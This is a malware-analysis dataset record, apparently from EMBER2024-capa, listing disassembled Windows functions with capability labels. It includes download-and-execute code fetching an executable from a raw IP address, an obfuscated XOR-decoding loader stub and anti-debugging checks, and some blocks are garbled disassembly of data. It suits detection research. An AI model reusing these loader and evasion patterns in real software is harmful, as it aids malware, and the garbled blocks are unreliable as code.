joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402f10
Capabilities:
Enumerate process modules
Enumerate processes
Print debug messages
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov eax, dword [0x414014]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x114]
mov dword [ebp - 0x248], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x250]
call dword [sym.imp.mfc140.dll_Ordinal_316]
lea ecx, [ebp - 0x24c]
call dword [sym.imp.mfc140.dll_Ordinal_316]
lea ecx, [ebp - 0x240]
call dword [sym.imp.mfc140.dll_Ordinal_316]
lea ecx, [ebp + 8]
call dword [sym.imp.mfc140.dll_Ordinal_8672]
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x402fab
cmp dword [0x415728], 0
push 0
push 0
jne 0x402f98
push 0x40f114
jmp 0x402f9d
push str.Failed_to_get_the_process_handle
call dword [sym.imp.mfc140.dll_Ordinal_2298]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x128
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
mov edi, dword [ebp - 0x234]
push edi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x403011
lea eax, [ebp - 0x258]
push eax
push 4
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
je 0x403011
push 0x104
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x254]
push esi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x240]
push 0x40e998
push eax
call dword [sym.imp.mfc140.dll_Ordinal_4807]
add esp, 0xc
lea ecx, [ebp - 0x240]
call dword [sym.imp.mfc140.dll_Ordinal_5898]
push eax
lea ecx, [ebp - 0x244]
call dword [sym.imp.mfc140.dll_Ordinal_305]
mov eax, dword [ebp - 0x240]
push 2
push 0x40f14c
push dword [eax - 0xc]
push eax
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.mfc140.dll_Ordinal_3005]
add esp, 0x14
push dword [ebp - 0x244]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [ebp - 0x244]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
lea ecx, [ebp - 0x240]
call dword [sym.imp.mfc140.dll_Ordinal_8672]
push dword [ebp - 0x240]
lea ecx, [ebp + 8]
call dword [sym.imp.mfc140.dll_Ordinal_2986]
test eax, eax
je 0x4030bf
lea eax, [ebp - 0x23c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x402fc3
jmp 0x4030c9
mov dword [ebp - 0x248], 1
push ebx
call esi
lea ecx, [ebp - 0x240]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
lea ecx, [ebp - 0x24c]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
lea ecx, [ebp - 0x250]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
lea ecx, [ebp + 8]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
cmp dword [ebp - 0x248], 1
jne 0x403115
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040bb2c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040bb2c
mov esp, ebp
pop ebp
ret
Function at 0x406ca0
Capabilities:
Download url
Read .ini file
Receive data
Reference cloudflare dns server

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [0x414014]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
lea ecx, [ebp - 0x6c]
push 0x40e9a7
call dword [sym.imp.mfc140.dll_Ordinal_310]
push 0x40e9a7
lea ecx, [ebp - 0x7c]
call dword [sym.imp.mfc140.dll_Ordinal_310]
push 0x40e9a7
lea ecx, [ebp - 0x78]
call dword [sym.imp.mfc140.dll_Ordinal_310]
push str.http:__47.92.37.72:8088_DownLoad_Version.ini
lea ecx, [ebp - 0x74]
call dword [sym.imp.mfc140.dll_Ordinal_310]
push 0x64
lea eax, [ebp - 0x68]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov ecx, 0x415824
call dword [sym.imp.mfc140.dll_Ordinal_5898]
push eax
lea ecx, [ebp - 0x70]
call dword [sym.imp.mfc140.dll_Ordinal_305]
mov eax, dword [0x415824]
push 0xc
push str._version.ini
push dword [eax - 0xc]
push eax
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.mfc140.dll_Ordinal_3005]
add esp, 0x14
lea eax, [ebp - 0x70]
lea ecx, [ebp - 0x6c]
push eax
call dword [sym.imp.mfc140.dll_Ordinal_1526]
lea ecx, [ebp - 0x70]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
push dword [ebp - 0x74]
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0
push 0
push dword [ebp - 0x6c]
push dword [ebp - 0x74]
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x406e36
push dword [ebp - 0x6c]
lea eax, [ebp - 0x68]
push 0x64
push eax
push str.1.1.1.1
push 0x40f5a8
push str.Version_ProgramProtect
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x7c]
push 0x40e998
push eax
call dword [sym.imp.mfc140.dll_Ordinal_4807]
add esp, 0xc
lea eax, [ebp - 0x68]
push dword [ebp - 0x6c]
push 0x64
push eax
push 0x40e994
push str.AutoUpgrade
push str.Version_ProgramProtect
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
add esp, 4
mov dword [edi + 0xac], eax
lea ecx, [ebp - 0x7c]
push str.22.12.14.08
call dword [sym.imp.mfc140.dll_Ordinal_2986]
test eax, eax
je 0x406e03
lea eax, [ebp - 0x78]
push 0x40f5d0
push eax
call dword [sym.imp.mfc140.dll_Ordinal_4807]
add esp, 8
mov ecx, edi
push dword [ebp - 0x78]
push 0x3fa
call dword [sym.imp.mfc140.dll_Ordinal_13407]
push 1
jmp 0x406e21
push 0x40e9a7
push 0x3fa
mov ecx, edi
mov dword [edi + 0xac], 0
call dword [sym.imp.mfc140.dll_Ordinal_13407]
push 0
push 0x3fa
mov ecx, edi
call dword [sym.imp.mfc140.dll_Ordinal_5401]
mov ecx, eax
call dword [sym.imp.mfc140.dll_Ordinal_14149]
lea ecx, [ebp - 0x74]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
lea ecx, [ebp - 0x78]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
lea ecx, [ebp - 0x7c]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
lea ecx, [ebp - 0x6c]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.0040bb2c
mov esp, ebp
pop ebp
ret
Function at 0x406e70
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov ebx, ecx
lea ecx, [ebp - 0x10]
push 0x40e9a7
call dword [sym.imp.mfc140.dll_Ordinal_310]
push 0x40e9a7
lea ecx, [ebp - 0xc]
call dword [sym.imp.mfc140.dll_Ordinal_310]
push 0x40e9a7
lea ecx, [ebp - 4]
call dword [sym.imp.mfc140.dll_Ordinal_310]
mov esi, dword [sym.imp.mfc140.dll_Ordinal_4807]
lea eax, [ebp - 4]
push str.http:__47.92.37.72:8088_DownLoad_UPG_ProgramProtect.exe
push 0x40e998
push eax
mov dword [ebp - 0x18], vtable.CBindCallback.0
mov dword [ebp - 0x14], ebx
call esi
add esp, 0xc
mov ecx, 0x415824
call dword [sym.imp.mfc140.dll_Ordinal_5898]
push eax
lea ecx, [ebp - 8]
call dword [sym.imp.mfc140.dll_Ordinal_305]
mov eax, dword [0x415824]
push 0x17
push str.UPG_ProgramProtect.exe
push dword [eax - 0xc]
push eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.mfc140.dll_Ordinal_3005]
add esp, 0x14
lea eax, [ebp - 8]
lea ecx, [ebp - 0x10]
push eax
call dword [sym.imp.mfc140.dll_Ordinal_1526]
lea ecx, [ebp - 8]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 0x10]
push dword [ebp - 4]
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x406f35
xor esi, esi
jmp 0x406f96
push eax
lea eax, [ebp - 0xc]
push 0x40f634
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0xc]
push 0
push eax
push 0x466
push dword [ebx + 0x20]
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, dword [sym.imp.mfc140.dll_Ordinal_5401]
mov ecx, ebx
push 5
push 0x3fa
call edi
mov esi, dword [sym.imp.mfc140.dll_Ordinal_14149]
mov ecx, eax
call esi
push 0
push 0x3f8
mov ecx, ebx
call edi
mov ecx, eax
call esi
push 0
push 0x3f9
mov ecx, ebx
call edi
mov ecx, eax
call esi
mov esi, 1
lea ecx, [ebp - 4]
mov dword [ebp - 0x18], vtable.CBindCallback.0
call dword [sym.imp.mfc140.dll_Ordinal_1044]
lea ecx, [ebp - 0xc]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
lea ecx, [ebp - 0x10]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4076b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c0
mov eax, dword [0x414014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [0x414708]
push edi
mov edi, ecx
mov dword [ebp - 0x1b0], esi
lea ecx, [ebp - 0x1bc]
call dword [sym.imp.mfc140.dll_Ordinal_316]
lea ecx, [ebp - 0x1ac]
call dword [sym.imp.mfc140.dll_Ordinal_316]
mov eax, dword [0x415714]
mov dword [0x415718], 1
test eax, eax
je 0x40770a
cmp eax, 0xffffffff
je 0x40770a
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
lea eax, [ebp - 0x1a8]
mov dword [0x415714], 0
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, 0xffffffff
jne 0x407736
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.WSAStartup_error_errCode_d
jmp 0x40776c
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x415714], eax
cmp eax, 0xffffffff
jne 0x40779a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
push dword [0x415714]
call dword [sym.imp.WS2_32.dll_closesocket]
push esi
push str.socket_error_errCode_d
lea eax, [ebp - 0x1ac]
push eax
call dword [sym.imp.mfc140.dll_Ordinal_4807]
add esp, 0xc
lea eax, [ebp - 0x1ac]
push 0
push eax
push 0x466
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_SendMessageA]
xor esi, esi
jmp 0x4078a7
mov eax, 2
push esi
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp + 8]
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [0x415714]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x407861
push ecx
lea eax, [ebp - 0x1b8]
mov ecx, 0x415844
push eax
call fcn.00409e10
mov esi, eax
lea eax, [ebp - 0x1b4]
push ecx
push eax
mov ecx, 0x415838
call fcn.00409e10
push dword [esi]
push dword [eax]
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push dword [ebp - 0x1b0]
lea eax, [ebp - 0x1ac]
push dword [ebp + 8]
push 0x40f748
push eax
call dword [sym.imp.mfc140.dll_Ordinal_4807]
add esp, 0x1c
lea ecx, [ebp - 0x1b4]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
lea ecx, [ebp - 0x1b8]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
push 0
lea eax, [ebp - 0x1ac]
push eax
push 0x466
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [0x415714], 0
xor esi, esi
jmp 0x4078a7
push dword [0x415714]
lea eax, [ebp - 0x1ac]
push esi
push dword [ebp + 8]
push 0x40f784
push eax
call dword [sym.imp.mfc140.dll_Ordinal_4807]
add esp, 0x14
lea eax, [ebp - 0x1ac]
push 0
push eax
push 0x466
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_SendMessageA]
mov esi, dword [0x415714]
mov dword [0x415718], 0
lea ecx, [ebp - 0x1ac]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
lea ecx, [ebp - 0x1bc]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
lea ecx, [ebp + 8]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.0040bb2c
mov esp, ebp
pop ebp
ret 8
Function at 0x1000a894
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1000a8a3
pop dword [ebp - 0x14]
mov eax, 0x8a4ff719
add eax, 0x85b0b18a
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x620e5258
sub dword [ebp - 0x24], 0x13bc0d0d
mov dword [ebp - 0x20], 0x19d7d42a
add dword [ebp - 0x20], 0x185b781b
mov dword [ebp - 0x1c], 0x32f7bedd
sub dword [ebp - 0x1c], 0xe6ab7aaf
mov dword [ebp - 0x18], 0x960d7d0b
add dword [ebp - 0x18], 0x69f282f5
lea eax, [ebp - 0x24]
push eax
mov eax, 0x2397fd9c
add eax, 0xec69a26c
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xbcdae871
add dword [ebp - 0x24], 0xb79780e5
mov dword [ebp - 0x20], 0x1bb35680
sub dword [ebp - 0x20], 0xda46f50b
mov dword [ebp - 0x1c], 0x6220cfa0
add dword [ebp - 0x1c], 0x14e9ccc
mov dword [ebp - 0x18], 0x2e27695d
add dword [ebp - 0x18], 0xd1d896a3
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x320ff848
sub eax, 0x220e583c
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x393ec
push 0
call eax
mov ecx, 0x4401
mov esi, eax
mov edx, 0x1aa5dc0c
sub edx, 0xaa3920c
add edx, dword [ebp - 0x14]
mov edi, 0x421a31fc
add edi, 0xb966a5cd
add dword [ebp - 0x10], 0x74be1010
mov ebx, dword [edx]
add dword [ebp - 0x10], 0x1fe62a48
add ebx, edi
sub dword [ebp - 0x10], ecx
mov dword [esi], ebx
xor dword [ebp - 8], edx
add esi, 0x70deabe0
add esi, 0x8f215424
add edx, 0x78bd0aa8
add edx, 0x8742f55c
loop 0x1000a9bf
add eax, 0x2c0bf9ef
sub eax, 0x2c0af718
mov ebx, eax
add eax, 0x60a6b901
add eax, 0x9f594704
mov ecx, 0x636e2d18
sub ecx, 0x536e2d18
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4071c0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x41a57b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x4049cc
call fcn.00407d71
push 4
mov dword [esp + 0x18], 0
call fcn.00408b86
mov edi, eax
add esp, 4
test edi, edi
je 0x407234
push ebx
call fcn.00407c49
mov dword [edi], eax
call fcn.00407a08
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00407d32
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x407228
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.00407d5a
pop ebx
jmp 0x407236
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x409961
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41c5f8]
jne 0x40996b
repz ret
jmp fcn.0040f44c
Function at 0x415089
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41c5f8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040cb21
and dword [ebp - 0x14], 0
cmp dword [0x485994], 0
mov dword [ebp - 0x18], eax
jne 0x41513c
push 0x404110
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4151e4
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x404104
push ebx
call edi
test eax, eax
je 0x4151e4
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x4040f4
push ebx
mov dword [0x485994], eax
call edi
push eax
call esi
push 0x4040e0
push ebx
mov dword [0x485998], eax
call edi
push eax
call esi
push 0x4040c4
push ebx
mov dword [0x48599c], eax
call edi
push eax
call esi
mov dword [0x4859a4], eax
test eax, eax
je 0x41513c
push 0x4040ac
push ebx
call edi
push eax
call esi
mov dword [0x4859a0], eax
mov eax, dword [0x4859a0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x415195
cmp dword [0x4859a4], ecx
je 0x415195
push eax
call esi
push dword [0x4859a4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x415195
test ebx, ebx
je 0x415195
call edi
test eax, eax
je 0x41518c
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41518c
test byte [ebp - 8], 1
jne 0x415195
or dword [ebp + 0x10], 0x200000
jmp 0x4151c8
mov eax, dword [0x485998]
cmp eax, dword [ebp - 0x18]
je 0x4151c8
push eax
call esi
test eax, eax
je 0x4151c8
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4151c8
mov eax, dword [0x48599c]
cmp eax, dword [ebp - 0x18]
je 0x4151c8
push eax
call esi
test eax, eax
je 0x4151c8
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x485994]
call esi
test eax, eax
je 0x4151e4
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4151e6
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409961
leave
ret
Function at 0x419080
Capabilities:
Delete directory
Delete file
Get common file path
Get disk information
Read .ini file

Disassembly:
mov eax, 0x1c10
call fcn.004159d0
cmp dword [0x6fec80], 0x37
push edi
jne 0x41919b
push 0x404250
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x404244
call edi
push 0
lea eax, [esp + 0x1014]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x404300
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
push 0x4043b0
call edi
push 0
lea edx, [esp + 0x814]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
lea eax, [esp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleCount]
push 0
push 0
push 0
push 0
push 0
push 0
push 0x404438
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
lea ecx, [esp + 0x1414]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
lea edx, [esp + 4]
push edx
push 0
push 0x404468
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
lea eax, [esp + 0x410]
push eax
push 0
push 0x4044c4
push 0x4044e8
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
push 0x404518
push 0
push 0x404568
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
mov ecx, dword [0x6fec84]
mov eax, dword [0x6fdb94]
mov dl, byte [ecx + esi + 0x38d6]
mov byte [eax + esi], dl
pop edi
add esp, 0x1c10
ret
Function at 0x410b30
Capabilities:
Authenticate hmac
Check for peb ntglobalflag flag
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov dword [ebp - 0x10], eax
mov ecx, 0x7fffffff
mov eax, ecx
push esi
mov edx, dword [ebx + 0x10]
sub eax, edx
mov esi, dword [ebp + 8]
mov dword [ebp - 4], edx
push edi
cmp eax, esi
jb 0x410c7e
mov edi, dword [ebx + 0x14]
lea eax, [edx + esi]
mov esi, eax
mov dword [ebp - 8], eax
or esi, 0xf
mov dword [ebp - 0xc], edi
cmp esi, ecx
jbe 0x410b74
mov esi, ecx
jmp 0x410b8c
mov eax, edi
shr eax, 1
sub ecx, eax
cmp edi, ecx
jbe 0x410b85
mov esi, 0x7fffffff
jmp 0x410b8c
add eax, edi
cmp esi, eax
cmovb esi, eax
xor ecx, ecx
mov eax, esi
add eax, 1
setb cl
neg ecx
or ecx, eax
cmp ecx, 0x1000
jb 0x410bcc
lea eax, [ecx + 0x23]
or edx, 0xffffffff
cmp eax, ecx
cmovbe eax, edx
push eax
call fcn.00469eb7
add esp, 4
test eax, eax
je 0x410c83
mov edx, dword [ebp - 4]
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x410be2
test ecx, ecx
je 0x410be0
push ecx
call fcn.00469eb7
mov edx, dword [ebp - 4]
add esp, 4
mov edi, eax
jmp 0x410be2
xor edi, edi
mov eax, dword [ebp - 8]
mov dword [ebx + 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebx + 0x14], esi
lea esi, [edi + edx]
add eax, esi
mov dword [ebp - 8], esi
cmp dword [ebp - 0xc], 0x10
mov dword [ebp - 4], eax
push edx
jb 0x410c55
call dword [0xfe]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add bh, bh
movq mm4, qword [edx]
add eax, 0x654b6364
jns 0x410c5b
add al, 0x22
sub al, 0x31
push 0x32
insb byte es:[edi], dx
sub eax, 0x70377244
jb 0x410c60
inc ecx
push esi
inc esp
jno 0x410c8c
xor dh, byte [edi + 0x76]
imul eax, dword [edx + ecx*2 + 0x56], 0x6d47325f
imul ebx, dword [edx + 0x47], 0x5f
bound esp, qword [ebx + 0x61]
xor al, 0x62
dec ebx
inc ebp
pop edx
popal
cmp dword [ecx + 0x6f], esp
inc ebp
and al, byte [esi]
arpl word [eax + 0x75], bp
outsb dx, byte [esi]
imul esi, dword [eax], 0x49
adc cl, byte [ecx + 0x32]
and al, 0
add al, 0x22
add dword [eax + esi + 0x22], esi
xor byte [edx], ah
add dword [ebx + 0x41], esp
add al, 0x41
add cl, byte [ecx - 6]
mov ecx, edi
sbb byte [ecx + 5], al
xor byte [ecx + 6], al
xor byte [edx], ah
add dword [eax], esi
dec ecx
rol byte [esi - 0x695fb6fd], 1
add ecx, dword [ecx]
dec ecx
add ah, byte [eax + eax]
push es
add byte [esi], al
outsd dx, dword [esi]
dec ecx
add al, 0x41
inc ecx
add dword [edi + 0x49], ebp
add cl, byte [ecx - 4]
idiv edi
aas
dec ecx
add al, 0x49
Function at 0x410fd0
Capabilities:
Access peb ldr_data
Authenticate hmac
Check for peb ntglobalflag flag
Get number of processors

Disassembly:
dec ecx
add al, 0x22
or al, 0x63
jb 0x41104d
jae 0x411008
arpl word [edi + 0x6d], bp
push es
inc ecx
xor byte [ecx + 4], cl
and dl, byte [eax]
arpl word [ebp + 0x72], sp
jbe 0x4110b8
Function at 0x4891a1
Capabilities:
Encode data using xor

Disassembly:
cmp byte [ecx], dh
xor esi, dword [0x38663236]
jle 0x489178
add byte [esi], bh
wait
add ebx, dword [eax]
xor byte fs:[ebx + 0x61], ah
cmp byte fs:[esi], dl
dec edx
inc ebx
outsb dx, byte [esi]
in al, 0
enter 1, 0x65
push cs
sub byte [ecx], bl
or al, 0x33
xor word fs:[esi], cx
or bl, byte [ecx]
push 0x39
add byte [edx + 0x4e], al
or dword [eax], esp
cmp byte [ebx + 0x30], ah
arpl word [eax], si
xor dword [0x567a3934], esi
add dword [eax], eax
xor edi, dword [esi]
mov edx, 0x63342003
add esp, dword [eax]
xor al, 0x63
bound esi, qword fs:[edi]
cmp byte [esi], dh
xor byte [ecx], bh
push cs
cmp byte [esi], bh
jb 0x489189
inc esi
dec edx
dec ecx
or byte [esp + esi], dh
cmp byte [esi], cl
sbb bl, byte [ebx]
add al, 0x33
xor esp, dword [ecx - 0x53]
push 0x39
add byte [edx - 0x39], al
dec ebp
sbb al, 0x30
cmp dword [ebp + 0x64], esp
xor byte fs:[ebx + 0x34], ah
adc dh, cl
adc byte [esi + 0x39], ch
add byte [esi], bh
stosd dword es:[edi], eax
add byte [eax], ah
xor dword [ecx + edi], esi
xor byte [ebp + 0x64], ah
popal
cmp dword [eax], esi
popal
bound esp, qword [edx + 0x76]
in eax, 2
add byte [edi], dh
inc edx
xor eax, dword [esi]
adc al, 0x39
push cs
dec esp
dec ebx
jb 0x4891b3
add al, byte [eax]
aaa
inc edx
dec ecx
push es
sbb byte [0x61383231], dh
bound esi, qword [edi]
push cs
mov byte [0x722c0015], al
stosd dword es:[edi], eax
add byte [esi], bh
and eax, 0x31640804
cmp byte [esi], cl
sub al, 0x13
push cs
or byte [ebx], ch
jbe 0x48922c
add byte [esi], bh
in eax, 2
sbb byte [ecx], dh
xor byte [eax], bh
xor dword [ebp + 0x61], esp
xor ecx, dword [esi]
out dx, al
adc ebp, dword [esi + 0x39]
add byte [eax], al
cmp byte [edx - 0x6f], al
push cs
sbb al, 0x61
bound esi, qword [ecx + esi]
xor esp, dword [ecx + 0x64]
xor al, 0x1a
test dword [0x38313408], esp
inc edx
adc byte [0x39383920], cl
arpl word [0x63616363], si
push ss
arpl word [edi], cx
add dword [ebx], esp
ret